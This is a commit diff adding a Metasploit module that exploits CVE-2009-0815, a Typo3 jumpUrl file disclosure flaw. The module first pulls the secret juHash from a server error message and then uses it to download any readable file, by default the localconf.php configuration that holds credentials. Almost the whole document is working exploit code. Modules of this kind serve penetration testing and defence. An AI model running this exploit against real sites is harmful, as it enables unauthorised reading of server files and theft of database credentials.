New module from spinbad

git-svn-id: file:///home/svn/framework3/trunk@6341 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/admin/http/typo3_sa_2009_002.rb

@@ -0,0 +1,109 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Typo3 sa-2009-002 File Disclosure',
+			'Description'    => %q{
+				This module exploits a file disclosure vulnerability in the jumpUrl mechanism of
+			Typo3. This flaw can be used to read any file that the web server user account has
+			access to.
+				
+			},
+			'Author'         => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					['OSVDB', '52048'],
+					['CVE', '2009-0815'],
+					['URL', 'http://secunia.com/advisories/33829/'],
+					['URL', 'http://www.milw0rm.com/exploits/8038'],
+					['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-002/'],
+				],
+			'DisclosureDate' => 'Feb 10 2009',
+			'Actions'        =>
+				[
+					['Download']
+				],
+			'DefaultAction'  => 'Download'
+			))
+
+		register_options(
+			[
+				OptString.new('URI', [true, "Typo3 Path", "/"]),
+				OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
+				OptString.new('LFILE',[true, "The local filename to store the data", "localconf.php"]),
+			], self.class)
+	end
+
+	def run
+		print_status("Establishing a connection to the target...")
+
+		error_uri = datastore['URI'] + "/index.php?jumpurl=" +datastore['RFILE'] +"&juSecure=1&type=0&locationData=1:"
+		ju_hash = nil
+	
+		res = send_request_raw({
+			'uri'     => error_uri,
+			'method'  => 'GET',
+			'headers' =>
+			{
+				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
+				'Connection' => 'Close',
+			}
+		}, 25)
+
+		if (res and res.message == "OK")
+			res.body =~ /jumpurl Secure: Calculated juHash, ((\w)+), did not match the submitted juHash./
+			
+			if $1.nil?
+				print_error("Error while getting juHash. Maybe the version is already patched...")
+				return
+			end
+			
+			ju_hash = $1
+			print_status("Getting juHash from error message: #{ju_hash}")
+			
+		else
+			print_error("No response from the server.")
+			return
+		end
+		
+		
+		file_uri = datastore['URI'] + "/index.php?jumpurl=" +datastore['RFILE'] +"&juSecure=1&type=0&juHash=#{ju_hash}&locationData=1:"
+		print_status("Trying to get #{datastore['RFILE']}.")	
+		
+		file = send_request_raw({
+			'uri'     => file_uri,
+			'method'  => 'GET',
+			'headers' =>
+			{
+				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
+				'Connection' => 'Close',
+			}
+		},25)
+		
+		if (file and file.message = "OK")
+			if file.body == 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
+				print_error("File #{datastore['RFILE']} does not exist.")
+				return
+			end
+			
+			print_status("Writing local file #{datastore['LFILE']}.")
+			open(datastore['LFILE'],'w') {|f| f << file.body } 
+		else
+			print_error("Error while getting file.")
+		end
+
+	end
+end